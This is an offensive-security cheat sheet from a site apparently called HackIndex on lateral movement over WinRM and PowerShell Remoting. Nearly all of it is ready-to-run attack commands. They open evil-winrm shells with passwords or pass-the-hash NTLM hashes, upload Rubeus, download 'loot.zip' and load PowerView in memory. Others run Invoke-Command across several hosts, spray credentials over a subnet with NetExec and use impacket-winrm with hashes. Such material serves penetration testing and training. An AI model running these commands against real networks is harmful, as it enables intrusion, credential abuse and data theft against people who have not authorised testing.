Skip to content
HackIndex logo

HackIndex

WinRM and PowerShell Remoting Lateral Movement

3 min read Jul 14, 2026

WinRM (Windows Remote Management) runs on port 5985 (HTTP) and 5986 (HTTPS) and is the native Windows remoting protocol. It is enabled by default on Windows Server 2012 and later, and on any host where PowerShell Remoting has been configured. Access requires the account to be in the local Administrators group or the Remote Management Users group.

Evil-WinRM — interactive shell from Linux

Evil-WinRM is the standard tool for WinRM-based lateral movement from a Linux attack box. It gives a full interactive PowerShell session and supports file upload, download, and in-memory script loading.

┌──(kali㉿kali)-[~]
└─$ # With password
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # With NTLM hash (Pass-the-Hash)
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # With domain
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $DOMAIN\\$USER -p $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # With SSL (port 5986)
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -S 
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\user\Documents>
┌──(kali㉿kali)-[~]
└─$ # Upload file to target
┌──(kali㉿kali)-[~]
└─$ *Evil-WinRM* PS> upload /home/kali/tools/Rubeus.exe C:\Windows\Temp\Rubeus.exe
 
┌──(kali㉿kali)-[~]
└─$ # Download file from target
┌──(kali㉿kali)-[~]
└─$ *Evil-WinRM* PS> download C:\Windows\Temp\loot.zip /home/kali/loot.zip
 
┌──(kali㉿kali)-[~]
└─$ # Load PowerShell script into memory (no disk write)
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -s /home/kali/scripts/
┌──(kali㉿kali)-[~]
└─$ *Evil-WinRM* PS> PowerView.ps1
┌──(kali㉿kali)-[~]
└─$ *Evil-WinRM* PS> Get-DomainUser

PowerShell Remoting from Windows

From a Windows foothold, native PowerShell remoting gives you interactive sessions and the ability to run commands across multiple hosts simultaneously.

PS C:\Users\Guest\Desktop> # Interactive session
PS C:\Users\Guest\Desktop> $cred = New-Object System.Management.Automation.PSCredential($USER, (ConvertTo-SecureString $PASSWORD -AsPlainText -Force))
PS C:\Users\Guest\Desktop> Enter-PSSession -ComputerName $TARGET_IP -Credential $cred
 
PS C:\Users\Guest\Desktop> # Run command remotely without interactive session
PS C:\Users\Guest\Desktop> Invoke-Command -ComputerName $TARGET_IP -Credential $cred -ScriptBlock {whoami; hostname; ipconfig}
 
PS C:\Users\Guest\Desktop> # Run script file on remote host
PS C:\Users\Guest\Desktop> Invoke-Command -ComputerName $TARGET_IP -Credential $cred -FilePath C:\Windows\Temp\script.ps1
 
PS C:\Users\Guest\Desktop> # Run against multiple hosts simultaneously
PS C:\Users\Guest\Desktop> Invoke-Command -ComputerName $TARGET_IP, 192.168.1.20, 192.168.1.30 -Credential $cred -ScriptBlock {whoami}

Checking WinRM access before connecting

Before attempting a full connection, verify that WinRM is reachable and that your credentials are accepted.

┌──(kali㉿kali)-[~]
└─$ # Check if WinRM port is open
┌──(kali㉿kali)-[~]
└─$ nxc winrm $TARGET_IP -u $USER -p $PASSWORD
┌──(kali㉿kali)-[~]
└─$ nxc winrm $TARGET_IP -u $USER -H $NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Scan subnet for WinRM
┌──(kali㉿kali)-[~]
└─$ nxc winrm 192.168.1.0/24 -u $USER -p $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Port check
┌──(kali㉿kali)-[~]
└─$ nmap -p 5985,5986 $TARGET_IP 
WINRM  192.168.1.10  5985  WIN-TARGET  [+] domain\user:password (Pwn3d!)

Impacket WinRM

┌──(kali㉿kali)-[~]
└─$ # Interactive shell via impacket
┌──(kali㉿kali)-[~]
└─$ impacket-winrm $DOMAIN/$USER:$PASSWORD@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ impacket-winrm $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

WinRM sessions run as the authenticated user, not SYSTEM. If you need SYSTEM on the remote host, escalate after connecting — use the techniques in Windows Privilege Escalation. For SMB-based lateral movement when WinRM is not available see PsExec and SMB Lateral Movement.

References